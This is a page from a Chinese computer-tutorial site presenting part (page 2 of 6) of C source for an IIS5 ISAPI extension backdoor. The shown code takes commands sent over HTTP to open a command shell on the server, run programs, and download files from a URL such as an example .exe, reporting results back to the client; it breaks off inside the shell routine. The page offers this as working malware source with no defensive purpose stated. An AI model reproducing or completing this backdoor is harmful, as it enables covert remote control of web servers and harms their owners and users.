e股脑电脑教程网
  • 首 页
  • 操作系统
  • 应用软件
  • 下载工具
  • 影音视频
  • 办公软件
  • 媒体制作
  • 网站建设
  • 平面设计
  • 数据库
  • 程序开发
  • 视频教程
编辑推荐: | 文章搜索:
您现在的位置: e股脑 >> 数据库 >> Mssql教程 >> IIS5 ISAPI Extension Back Door >> 教程正文
 
教程搜索
 
 
相关教程
  • 你知道MySQL10条鲜为人知的技巧吗?
  • 你应该知道的10个MySQL客户启动选项
  • 用特殊的MySQL运算符获得更多数据比较
  • MySQL数据库中与 NULL值有关的几个问题
  • 教你快速了解公共MySQL的数据库服务器
  • MySQL 5.0在windows上的安装详细介绍
  • MySQL查询的性能优化
  • Linux操作系统中如何安装MySQL数据库
  • 23道安全门加铸MySQL数据库
  • MySQL 5.0 数据库新特性的存储过程
  • 从Windows命令行启动MySQL
  • 连接MySQL数据库失败频繁的原因
  • 加速动态网站 MySQL索引分析和优化
  • 轻松掌握如何保护MySQL中的重要数据
  • 快速掌握MySQL数据库中Show命令的用法
  • MySQL数据库的安全配置实用技巧
 
 

图文教程


  • Windows抢了谁的饭碗 非主流操作系统To

  • 地球还是火星 平常心看“非主流”

  • 综合运用Office 2007批量制作奖状

  • 没有系统盘如何才能修复受损系统?

  • 巧妙运用Excel中边界的附加功能!
 
 
赞 助 商
 
 
IIS5 ISAPI Extension Back Door
  • 来源:e股脑
  • 点击次数:
  • 更新时间:2007-8-9
运行一个cmd获取shell,为防止主机设置权限,需指明cmd路径

else if( StartWith(buff , "shell") )

{

//如果没有参数

if( *( buff+6 ) == '' )

{

SendToClient( pECB , "Usage:shell ShellPath\n" );

SendToClient( pECB , FLAG );

return;

}

workArg.pECB = pECB;

strcpy( workArg.arg , buff+6 );

hThread = CreateThread( NULL ,

0 ,

(LPTHREAD_START_ROUTINE)Shell ,

(LPVOID)&workArg ,

0 ,

&threadID );

if( hThread == NULL )

{

#ifdef DEBUG

LogStrToFile( "创建线程执行shell失败,错误码: " );

LogIntToFile( GetLastError( ) );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Get shell error...\n" );


SendToClient( pECB , FLAG );

return;

}

WaitForSingleObject( hThread , INFINITE );

CloseHandle( hThread );

return;

}

else if( StartWith(buff , "exec") )

{

//如果没有参数

if( *( buff+5 ) == '' )

{

SendToClient( pECB , "Usage:shell ShellPath\n" );

SendToClient( pECB , FLAG );

return;

}

workArg.pECB = pECB;

strcpy( workArg.arg , buff+5 );

hThread = CreateThread( NULL ,

0 ,

(LPTHREAD_START_ROUTINE)ExecProgram ,

(LPVOID)&workArg ,

0 ,

&threadID );

if( hThread == NULL )

{

#ifdef DEBUG

LogStrToFile( "创建线程运行程序失败,错误码: " );

LogIntToFile( GetLastError( ) );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Execute program error...\n" );

SendToClient( pECB , FLAG );

return;

}

WaitForSingleObject( hThread , 10000 );

CloseHandle( hThread );

return;

}

//down命令,利用http协议下载文件

else if( StartWith(buff , "down") )

{

//如果没有参数

if( *( buff+5 ) == '' )

{

SendToClient( pECB , "Usage:down http://www.example.com/test.exe\n" );

SendToClient( pECB , FLAG );

return;

}

workArg.pECB = pECB;

strcpy( workArg.arg , buff+5 );

hThread = CreateThread( NULL ,


0 ,

(LPTHREAD_START_ROUTINE)DownLoad ,

(LPVOID)&workArg ,

0 ,

&threadID );

if( hThread == NULL )

{

#ifdef DEBUG

LogStrToFile( "创建线程下载文件失败,错误码: " );

LogIntToFile( GetLastError( ) );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Download file error...\n" );

SendToClient( pECB , FLAG );

return;

}

WaitForSingleObject( hThread , INFINITE );

CloseHandle( hThread );

SendToClient( pECB , FLAG );

return;

}

//命令不正确,输出帮助

else

{

hThread = CreateThread( NULL ,

0 ,

(LPTHREAD_START_ROUTINE)Help ,

(LPVOID)pECB ,

0 ,

&threadID );

if( hThread == NULL )

{

#ifdef DEBUG

LogStrToFile( "创建线程输出帮助信息失败,错误码: " );

LogIntToFile( GetLastError( ) );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Print help error...\n" );

SendToClient( pECB , FLAG );

return;

}

WaitForSingleObject( hThread , 5000 );

CloseHandle( hThread );

SendToClient( pECB , FLAG );

return;

}

}

//判断字符串buf1是否以buf2开头,是返回真

BOOL StartWith( char *buf1, char *buf2 )

{

int len = strlen(buf2);

if( memcmp( buf1,buf2,len) == 0)

{

return TRUE;

}


return FALSE;

}

//运行shell

void Shell( LPVOID arg )

{

WORKARG *workArg = (WORKARG *)arg;

SECURITY_ATTRIBUTES sa;

HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

STARTUPINFO si;

PROCESS_INFORMATION procInfo;

char cmdLine[ARGSIZE] = { 0 };

char buff[BUFFSIZE] = { 0 };

上一页  1 2 3 4 5 6 下一页
  • 上一篇教程: char与varchar的区别
  • 下一篇教程: mysql数据库连接过多的错误,可能的原因分析及解决办法
  •  

    关于本站 | 广告联系 | 版权声明 | 使用帮助

    Copyright © 2004-2008 www.egunao.com All rights reserved.